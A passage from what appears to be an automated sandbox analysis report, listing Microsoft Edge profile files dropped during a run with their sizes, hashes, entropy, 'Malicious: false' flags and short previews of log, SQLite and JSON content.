}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.133085975806711
Encrypted:	false
SSDEEP:	6:7xM9+q2P923oH+Tcwt8aPrqIFUt8OxMJZmw+Ox2uv9VkwO923oH+Tcwt8amLJ:74+v4YebL3FUt8Oo/+OAu1V5LYebQJ
MD5:	5DED7D8AE1531B1339453D61311EF33F
SHA1:	B3D5E734A1B205B2D77EB1B4CF3A13DAF1340981
SHA-256:	1B041FE01DAF5CAE0960158B0BE5E9C4BB7C26A9BEC12A0FC47D05AD02DF817C
SHA-512:	906180E08E8A222914AF1FC847C03279CB3F5189C8B683F062CB03BAD8A0C44522E34B043F40E7F45FF25A888DEF168C97F9419273910DD1B04D5F442BC36BC3
Malicious:	false
Preview:	2024/12/12-06:09:24.668 1e2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/12-06:09:24.668 1e2c Recovering log #3.2024/12/12-06:09:24.669 1e2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.133085975806711
Encrypted:	false
SSDEEP:	6:7xM9+q2P923oH+Tcwt8aPrqIFUt8OxMJZmw+Ox2uv9VkwO923oH+Tcwt8amLJ:74+v4YebL3FUt8Oo/+OAu1V5LYebQJ
MD5:	5DED7D8AE1531B1339453D61311EF33F
SHA1:	B3D5E734A1B205B2D77EB1B4CF3A13DAF1340981
SHA-256:	1B041FE01DAF5CAE0960158B0BE5E9C4BB7C26A9BEC12A0FC47D05AD02DF817C
SHA-512:	906180E08E8A222914AF1FC847C03279CB3F5189C8B683F062CB03BAD8A0C44522E34B043F40E7F45FF25A888DEF168C97F9419273910DD1B04D5F442BC36BC3
Malicious:	false
Preview:	2024/12/12-06:09:24.668 1e2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/12-06:09:24.668 1e2c Recovering log #3.2024/12/12-06:09:24.669 1e2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.150142867002334
Encrypted:	false
SSDEEP:	6:7xG09+q2P923oH+Tcwt865IFUt8OxYvJZmw+OxYv9VkwO923oH+Tcwt86+ULJ:7YS+v4Yeb/WFUt8O2h/+O21V5LYeb/+e
MD5:	BAFC2C076F2F42799ACA634A8C1F6DBD
SHA1:	C9D78F35DC72C9A5A8B7BC3086D275C2CDF333D3
SHA-256:	E0DCE5A84E189CE2B3A784163A8BBCCF73252109763A39651EB7A9A077C567F7
SHA-512:	BEEFE8DE7221729F0414C236468C81BFAF40F855FC931AA8A8884F1134289C7BBEAD140CB0D841B1B16B14154F9E56D8AC8B9AA7CC76F93E316FFBCA873F66FA
Malicious:	false
Preview:	2024/12/12-06:09:24.762 1e2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/12-06:09:24.763 1e2c Recovering log #3.2024/12/12-06:09:24.763 1e2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.150142867002334
Encrypted:	false
SSDEEP:	6:7xG09+q2P923oH+Tcwt865IFUt8OxYvJZmw+OxYv9VkwO923oH+Tcwt86+ULJ:7YS+v4Yeb/WFUt8O2h/+O21V5LYeb/+e
MD5:	BAFC2C076F2F42799ACA634A8C1F6DBD
SHA1:	C9D78F35DC72C9A5A8B7BC3086D275C2CDF333D3
SHA-256:	E0DCE5A84E189CE2B3A784163A8BBCCF73252109763A39651EB7A9A077C567F7
SHA-512:	BEEFE8DE7221729F0414C236468C81BFAF40F855FC931AA8A8884F1134289C7BBEAD140CB0D841B1B16B14154F9E56D8AC8B9AA7CC76F93E316FFBCA873F66FA
Malicious:	false
Preview:	2024/12/12-06:09:24.762 1e2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/12-06:09:24.763 1e2c Recovering log #3.2024/12/12-06:09:24.763 1e2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.17884799501577
Encrypted:	false
SSDEEP:	6:7xrF+q2P923oH+Tcwt8NIFUt8OxlO0Zmw+OxlOUVkwO923oH+Tcwt8+eLJ:76v4YebpFUt8OHO0/+OHO05LYebqJ
MD5:	DA2776BA7D106411B7CF754EE2D9ACFA
SHA1:	BA91FDBBDBD3D7AFCCAB212E65D08CF127DACEEF
SHA-256:	F9B8838896BF058654DF5FCF926C2CE8D94D8495F43A56EF1DA1A0BA2E9F8A43
SHA-512:	E1962B9832F987F3B359C653C25B0B4EA30B640A4009D30F0A3947321E978933D271C153493F4D18B6E5C662060347D2B44FCF16E98F63E556A443A505BABC9B
Malicious:	false
Preview:	2024/12/12-06:09:25.456 1de8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/12-06:09:25.458 1de8 Recovering log #3.2024/12/12-06:09:25.458 1de8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.17884799501577
Encrypted:	false
SSDEEP:	6:7xrF+q2P923oH+Tcwt8NIFUt8OxlO0Zmw+OxlOUVkwO923oH+Tcwt8+eLJ:76v4YebpFUt8OHO0/+OHO05LYebqJ
MD5:	DA2776BA7D106411B7CF754EE2D9ACFA
SHA1:	BA91FDBBDBD3D7AFCCAB212E65D08CF127DACEEF
SHA-256:	F9B8838896BF058654DF5FCF926C2CE8D94D8495F43A56EF1DA1A0BA2E9F8A43
SHA-512:	E1962B9832F987F3B359C653C25B0B4EA30B640A4009D30F0A3947321E978933D271C153493F4D18B6E5C662060347D2B44FCF16E98F63E556A443A505BABC9B
Malicious:	false
Preview:	2024/12/12-06:09:25.456 1de8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/12-06:09:25.458 1de8 Recovering log #3.2024/12/12-06:09:25.458 1de8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Favicons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 10, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.6596785237126501
Encrypted:	false
SSDEEP:	48:0Bmw6fU1zB2jhlfI4I63OZMeFjPPS+P5B9wu7iFJjhs:0BCy2llfIX6MK+RB9wUiFJls
MD5:	246BC6069F904E2730508EBACD3B8157
SHA1:	2AC3C41466FF3E523970E24C79A430AA602044B1
SHA-256:	45D85FB20145BCF71D7A4F3F394286E0BA90771815029DB12BB91A03607C3A6D
SHA-512:	5533F87B2352C52D4E7FE7DDBD38DD4FE9C995177EB4CC7FA3C6B8C56DCB045A6F9E96C1221E4D98F55E889D759B5C1D27B4DAC67EA271FEEA952AF580FD3B1C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21861961848037048
Encrypted:	false
SSDEEP:	3:LfDtFlljq7A/mhWJFuQ3yy7IOWUe2YdweytllrE9SFcTp4AGbNCV9RUIyn:ro75fOGd0Xi99pEYs
MD5:	CAC5D2C43D03D002D89A21FE368F880F
SHA1:	5F957293EAE72DA0C848C42FE005A4A619752BCE
SHA-256:	A64739E066369911DD4926FA4EDBFEB8C3B7ADC9D77CCEA3BA7D5ED5D4364E62
SHA-512:	626EC537DD725E6499332A19A798E9F8763826B05BC47238B4DE8D93B471190E43BD08DF06A4398BB4FF7011AC2F0AFC78ABFB004F668ABAB0F6B7CE3EAE989C
Malicious:	false
Preview:	............;!.....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.9183831341628204
Encrypted:	false
SSDEEP:	384:jj9P0vQkQerkjliP/KbtEgam6IQcO773pLXRKToaADhf:jdke2mliP/UTO7JRKc39
MD5:	CBC987FEFC905B6041B9CE698416E4F5
SHA1:	20FD72F8AF874EE28E566D2768F92D2E0B387F56
SHA-256:	52D0A0EF189C9BF1690CF7F68DE9A143FD0C4E102485D9264D756616EA6C1C1C
SHA-512:	B0940D457D193F5657F3DA2FCECF729930992BD5CA70E660FDE824A451AD04103392CA1DE66103E359D1FAE690B96D9C562240C196C6200F96C32BE394CE0368
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.252745070480181
Encrypted:	false
SSDEEP:	12:7Rav4Yeb8rcHEZrELFUt8ORT/+ORB+5LYeb8rcHEZrEZSJ:7Rg4Yeb8nZrExg8OR3RWLYeb8nZrEZe
MD5:	7FBD6FD9B4AE9EE5DAE96F5E5260130E
SHA1:	DF40DE544C0F9C40DE5572EA5968A4D17CAEDB70
SHA-256:	66C53C53C6D26FDCE38020613DB04F4B539419CD6C1306C26D40B47F51D4CA49
SHA-512:	556ADFE620B6EE6896D034528505424ACD17D2E6F23B301C97DEF81D5B07CC1004E591FADDC004C33E66E5DA4C29139D75480FB3C2AEA37E879C362E0486F95E
Malicious:	false
Preview:	2024/12/12-06:09:30.764 1de0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/12-06:09:30.764 1de0 Recovering log #3.2024/12/12-06:09:30.765 1de0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.252745070480181
Encrypted:	false
SSDEEP:	12:7Rav4Yeb8rcHEZrELFUt8ORT/+ORB+5LYeb8rcHEZrEZSJ:7Rg4Yeb8nZrExg8OR3RWLYeb8nZrEZe
MD5:	7FBD6FD9B4AE9EE5DAE96F5E5260130E
SHA1:	DF40DE544C0F9C40DE5572EA5968A4D17CAEDB70
SHA-256:	66C53C53C6D26FDCE38020613DB04F4B539419CD6C1306C26D40B47F51D4CA49
SHA-512:	556ADFE620B6EE6896D034528505424ACD17D2E6F23B301C97DEF81D5B07CC1004E591FADDC004C33E66E5DA4C29139D75480FB3C2AEA37E879C362E0486F95E
Malicious:	false
Preview:	2024/12/12-06:09:30.764 1de0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/12-06:09:30.764 1de0 Recovering log #3.2024/12/12-06:09:30.765 1de0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.075196996706911
Encrypted:	false
SSDEEP:	6:7xUq2P923oH+Tcwt8a2jMGIFUt8OxnZmw+Ox8zkwO923oH+Tcwt8a2jMmLJ:7av4Yeb8EFUt8OR/+Oqz5LYeb8bJ
MD5:	3483ED8CDBF31662181FF1949BF8D785
SHA1:	0A9A2C8EDD80ED282D83349094BC6DE9E94335CF
SHA-256:	AE5CCBA62497952F2E1212E6BEA48117D5EB78F74682FE695E93A31E99FDC88F
SHA-512:	E23AE2AF8C00516DB9AE443BFDB1287A49A85801821AEB6CAC272FEDE63CB0D2C04C35E75915F35452DEADFA826BD8CEC652868FE58E031D28B60ACEE401E3AC
Malicious:	false
Preview:	2024/12/12-06:09:25.204 1ee0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/12-06:09:25.206 1ee0 Recovering log #3.2024/12/12-06:09:25.210 1ee0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.075196996706911
Encrypted:	false
SSDEEP:	6:7xUq2P923oH+Tcwt8a2jMGIFUt8OxnZmw+Ox8zkwO923oH+Tcwt8a2jMmLJ:7av4Yeb8EFUt8OR/+Oqz5LYeb8bJ
MD5:	3483ED8CDBF31662181FF1949BF8D785
SHA1:	0A9A2C8EDD80ED282D83349094BC6DE9E94335CF
SHA-256:	AE5CCBA62497952F2E1212E6BEA48117D5EB78F74682FE695E93A31E99FDC88F
SHA-512:	E23AE2AF8C00516DB9AE443BFDB1287A49A85801821AEB6CAC272FEDE63CB0D2C04C35E75915F35452DEADFA826BD8CEC652868FE58E031D28B60ACEE401E3AC
Malicious:	false
Preview:	2024/12/12-06:09:25.204 1ee0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/12-06:09:25.206 1ee0 Recovering log #3.2024/12/12-06:09:25.210 1ee0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\685897f7-14a0-4274-9b0a-6390198babcf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\794914c4-e8f9-46f6-88c5-01e4028660cb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1646
Entropy (8bit):	5.344718922617556
Encrypted:	false
SSDEEP:	24:YcFGJ/I3RdsVXZVMdmRdszZ9QiYsRZFRudFGRRds5Z6ma3yeesw6maPsw6C1MYhB:YcgCzs/tsduRsXfcKsvleeBkBKYhbxo+
MD5:	0905FE57A4C5ADF0C63BD3933F7B02B8
SHA1:	9F49EE17266EBF52E400141F18E71E34BA1A73E8
SHA-256:	A80D39DF40D514C48186FE29D8F80EDB0C2D917BB0D390C2DA166F4DE0EE0C92
SHA-512:	D91A32A31599617D07216CE822411EEBD28F0C4835EA3CC2FF846385372CEF7B4E563BC1AF1E3CCCAC3FE030B52F652C2D3AD954A556EC1702ADBD2FD75B29B4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381067369029690","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381067371263233","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABQAAABodHRwczovL2RvY3VzaWduLmNvbQ==",false],"server":"https://fonts.googleapis.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381067373557532","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"133785

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1646
Entropy (8bit):	5.344718922617556
Encrypted:	false
SSDEEP:	24:YcFGJ/I3RdsVXZVMdmRdszZ9QiYsRZFRudFGRRds5Z6ma3yeesw6maPsw6C1MYhB:YcgCzs/tsduRsXfcKsvleeBkBKYhbxo+
MD5:	0905FE57A4C5ADF0C63BD3933F7B02B8
SHA1:	9F49EE17266EBF52E400141F18E71E34BA1A73E8
SHA-256:	A80D39DF40D514C48186FE29D8F80EDB0C2D917BB0D390C2DA166F4DE0EE0C92
SHA-512:	D91A32A31599617D07216CE822411EEBD28F0C4835EA3CC2FF846385372CEF7B4E563BC1AF1E3CCCAC3FE030B52F652C2D3AD954A556EC1702ADBD2FD75B29B4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381067369029690","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381067371263233","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABQAAABodHRwczovL2RvY3VzaWduLmNvbQ==",false],"server":"https://fonts.googleapis.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381067373557532","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"133785

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.7606592056762614
Encrypted:	false
SSDEEP:	48:TKIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBkoj:eIEumQv8m1ccnvS6M6
MD5:	19C87F1755079F5682E8319ECBBAEA49
SHA1:	A4798E2EC9870FE2C0DE30641384221C2136A780
SHA-256:	0C27BD316F97F6C05A1808E77D48BB616B27DCEA7123B9863D11A69BDBAE4E67
SHA-512:	A88DB334AAF803B2CB698AFD097F90A46534868FB16A92FA4834562F79928F864AAAA4107C359A5D908FCFDB332E2D562A70E0880567EC936C85A2ED2A879D47
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
